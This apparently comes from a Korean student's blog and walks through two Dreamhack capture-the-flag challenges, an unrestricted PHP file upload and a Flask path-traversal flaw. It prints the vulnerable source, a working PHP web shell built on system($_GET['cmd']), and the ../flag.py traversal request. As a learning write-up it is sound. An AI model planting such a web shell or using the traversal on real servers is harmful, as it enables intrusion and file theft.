첫 번째 문제: image-storage
https://dreamhack.io/wargame/challenges/38
image-storage
php로 작성된 파일 저장 서비스입니다. 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다. Reference Server-side Basic
dreamhack.io
파일 업로드 취약점과 관련한 문제이다.
플래그는 /flag.txt에 있다.
index 페이지
index.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<h2>Upload and Share Image !</h2>
</div>
</body>
</html>
Home 을 누르면 인덱스 페이지가 뜨고
List 를 누르면 리스트 페이지가 뜨고
Upload 를 누르면 업로드 페이지가 뜬다는 코드이다
그 외에 별 다른 코드는 없어 보인다.
list.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container"><ul>
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
</ul></div>
</body>
</html>
list.php 는 $directory 의 파일들 중 . , .. , index.html 을 제외하고 나열한다.
Upload.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<form enctype='multipart/form-data' method="POST">
<div class="form-group">
<label for="InputFile">파일 업로드</label>
<input type="file" id="InputFile" name="file">
</div>
<input type="submit" class="btn btn-default" value="Upload">
</form>
</div>
</body>
</html>
- upload.php는 이용자가 업로드한 파일을 uploads폴더에 복사한다.
- 이용자는 http://host1.dreamhack.games:[PORT]/uploads/[FILENAME] URL을 통해 접근할 수 있다.
- 만약 같은 이름의 파일이 이미 있다면 "already exists"라는 메시지를 반환한다.
업로드할 파일에 대해 검사하지 않으므로, 웹 셸 업로드 공격에 취약하다.
웹 셸
업로드 페이지
파일을 업로드하는곳이다
uploads라는 디렉터리에 저장된다.
같은 파일을 또 업로드하면 이런 식으로 뜬다
리스트 페이지
파일을 업로드하고 나서 List 페이지로 가면 이렇게 업로드된 파일들이 뜬다.
파일명.txt 를 누르면 파일내용이 뜬다. 한글로 썼더니 내용이 깨진다.
만약 여기에 웹 셸을 업로드하고 방문하면, cat 명령어를 실행하여 flag.txt 의 내용을 획득할 수 있을 것이다.
그런데 일단 웹 셸 코드를 짜는 법을 모르기 때문에
Excercise 에 있는 php 로 작성된 웹셸 코드를 가져다가 공부했다. (ChatGPT 의 힘을 빌려서)
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
- <form> 태그: 사용자로부터 입력을 받기 위한 HTML 폼 요소입니다. method 속성이 "GET"으로 설정되어 있어서 입력 데이터가 URL 파라미터로 전달됩니다.
- <input> 태그: 입력 필드를 생성합니다. 여기서 type 속성이 "TEXT"로 설정되어 텍스트 입력이 가능한 상자가 생성됩니다. name 속성은 이 필드의 이름을 정의하며, id 속성은 HTML 요소의 고유 식별자로 사용됩니다. size 속성은 필드의 표시 너비를 설정합니다.
- <input> 태그 (두 번째): type 속성이 "SUBMIT"으로 설정되어 실행 버튼을 생성합니다.
- <form> 태그 내의 PHP 코드: name 속성에 현재 스크립트 파일의 이름을 설정합니다.
- <pre> 태그: 이 태그 내부에 있는 텍스트는 고정된 너비 폰트로 표시되며, 여기서는 시스템 명령의 실행 결과가 표시됩니다.
- PHP 코드 블록: $_GET['cmd']로 전달된 GET 파라미터가 존재하는지 확인하고, 있다면 해당 명령을 system() 함수를 사용하여 실행합니다. system() 함수는 운영 체제의 셸 명령을 실행하고 결과를 반환합니다. 이 부분이 웹 셸의 핵심이며, 사용자가 입력한 명령을 그대로 실행하므로 보안 취약점이 될 수 있습니다.
system함수를 통해 만든 단순한 웹셸 코드인 것 같다.
즉, 저 코드에서 제일 중요한 부분만 추리자면
<?php
system($_GET['cmd']);
?>
인 것이다. 여기서 'cmd'는 내가 입력창에 친 텍스트이자 system 함수에 파라미터로 보내지는 명령어가 될 것이다.
그리고 $_GET['cmd']를 통해 이 입력을 받아와서 system() 함수를 사용하여 해당 명령을 실행한다.
더 찾아보니까 웹 셸을 만드는 다양한 함수가 많이 있다.
https://kk-7790.tistory.com/78
PHP로 제작한 웹쉘 : 사용한 윈도우 실행기
PHP로 제작한 웹쉘이다. 해당 웹쉘을 제작하기 위해 참고한 사이트는 아래와 같다. yangil06.tistory.com/entry/%EC%9B%B9%EC%89%98-%EC%82%AC%EC%9A%A9-%ED%95%A8%EC%88%98-%EB%AA%A8%EC%9D%8C
kk-7790.tistory.com
이 분을 보면, passthru 라는 함수를 사용해서 웹에서 원격으로 cmd 를 실행해버리는 셸을 만들었다.
이처럼 cmd 창과 똑같이 웹에서 명령어를 실행할 수 있다.
세상에 능력자는 많다...
지금 웹을 만드는 프로젝트를 하고 있었는데 이걸 보니까 파일 업로드 취약점에 대해 주의해야겠다는 생각이 들었다.
만약 내 컴퓨터에 사용자가 업로드한 파일을 저장하는 식으로 데이터베이스를 운영한다면
이 웹셸을 누가 업로드했을 때, 내 파일 디렉터리에 접근할 수 있게 되는 끔찍한 일이 생길 거 같다.
해봤자 내 컴터에 있는 족보 훔쳐가기 이정도의 일밖에 벌어지지 않는다해도...
지금 내가 하고 있는 프로젝트 상에서는 jpg 같은 정적 데이터만 올릴 수 있도록 만들고 있지만,
나중에 다른 프로젝트에서 더 다양한 확장자의 파일을 업로드할 수 있는 서비스를 만들어야 한다면, 서버의 보안을 좀더 신경써야 할 것이다.
php로 작성한 웹셸을 업로드하고 list 페이지에서 누르면 (혹은 URL 에 uploads/파일명을 치거나) 우리가 만든 웹셸이 뜬다.
이곳에 명령어를 입력하면 URL 의 파라미터가 되어 서버로 전송된다.
(GET 메서드를 사용하기 때문에 가능하다)

<form method="GET" action="process.php">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit" value="Submit">
</form>
http://example.com/process.php?username=입력한_사용자명&password=입력한_패스워드
위 URL의 파라미터 부분(?username=...&password=...)에 사용자가 입력한 정보가 포함됩니다. 서버는 이 정보를 PHP의 $_GET 슈퍼전역 변수를 통해 접근할 수 있습니다.
따라서 코드 예제에서의 <input type="TEXT" name="cmd"> 필드는 사용자가 입력한 명령을 cmd라는 파라미터 이름으로 전달하게 됩니다. PHP 코드에서 $_GET['cmd']를 통해 이 입력을 받아와서 system() 함수를 사용하여 해당 명령을 실행합니다. 이는 보안상 매우 위험한 동작입니다. 사용자가 악의적인 명령을 실행하거나 시스템에 피해를 줄 수 있기 때문에 주의해야 합니다.
cat 명령어로 flag 를 획득한다.
URL 을 보면 cmd라는 파라미터가 System함수에 제대로 전송되어 명령어 실행 결과를 보이는 걸 알 수 있다.
두 번째 문제: file-download-1
https://dreamhack.io/wargame/challenges/37
file-download-1
File Download 취약점이 존재하는 웹 서비스입니다. flag.py를 다운로드 받으면 플래그를 획득할 수 있습니다. Reference Introduction of Webhacking
dreamhack.io
파일 다운로드 취약점과 관련한 문제
flag.py를 다운로드 받으면 플래그를 획득할 수 있다.
파일 다운로드 취약점 ?
이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생한다.
웹 서비스는 이용자가 특정 디렉터리에 있는 파일만 접근하도록 해야 한다.
그렇지 않으면, Path Traversal 을 이용해서(../../ 이런 식으로) 디렉터리에 마음대로 접근할 수 있게 되는 취약점이 생김
인덱스 페이지
업로드 페이지
문제 파일
requirements.txt 에는 flask 라고 덩그러니 적혀있다.
static 이나 templates 파일에는 페이지를 구성하는 리소스들이 있다. 문제 푸는데 신경쓰지 않아도 된다.
app.py
#!/usr/bin/env python3
import os
import shutil
from flask import Flask, request, render_template, redirect
from flag import FLAG
APP = Flask(__name__)
UPLOAD_DIR = 'uploads'
@APP.route('/')
def index():
files = os.listdir(UPLOAD_DIR)
return render_template('index.html', files=files)
@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
if request.method == 'POST':
filename = request.form.get('filename')
content = request.form.get('content').encode('utf-8')
if filename.find('..') != -1:
return render_template('upload_result.html', data='bad characters,,')
with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
f.write(content)
return redirect('/')
return render_template('upload.html')
@APP.route('/read')
def read_memo():
error = False
data = b''
filename = request.args.get('name', '')
try:
with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
data = f.read()
except (IsADirectoryError, FileNotFoundError):
error = True
return render_template('read.html',
filename=filename,
content=data.decode('utf-8'),
error=error)
if __name__ == '__main__':
if os.path.exists(UPLOAD_DIR):
shutil.rmtree(UPLOAD_DIR)
os.mkdir(UPLOAD_DIR)
APP.run(host='0.0.0.0', port=8000)
업로드 페이지에서 아무거나 업로드해보자
이제 여길 들어가면 다운받을 수 있는 버튼이 나오겠지
헐 안나오네
그럼 어떻게 flag.py 를 다운로드 하라는 걸까??
URL 을 자세히 보면 read?name=test_memo 로 파일명이 name 파라미터로 들어가고 있다.
URL 에 냅다 read?name=flag.py 를 해보았다.
app.py 코드를 보면 이런 부분이 있다.
내가 업로드하는 메모는 uploads 디렉터리에 저장되지만
flag.py 는 다른 디렉터리에 있기 때문에 Home 에 뜨지 않는 것이다.
아하 그러면 다른 디렉터리에 접근해서 flag.py를 read 페이지에서 읽을 수 있다.
그럼 이제 그 디렉터리가 어디냐는 것인데...
일단은 ../ 를 통해 한 번만 거슬러 올라가보자
오잉 이게 되네
끗
'KERT > WarGame' 카테고리의 다른 글
[dreamhack] Mango 문제 풀이 (0) | 2023.07.27 |
---|---|
[dreamhack] simple_sqli 문제 풀이 (0) | 2023.07.26 |
[dreamhack] Exercise: SQL Injection (0) | 2023.07.21 |
[dreamhack] Exercise: CSRF (0) | 2023.07.17 |
[dreamHack] xss-1, xss-2 (0) | 2023.07.17 |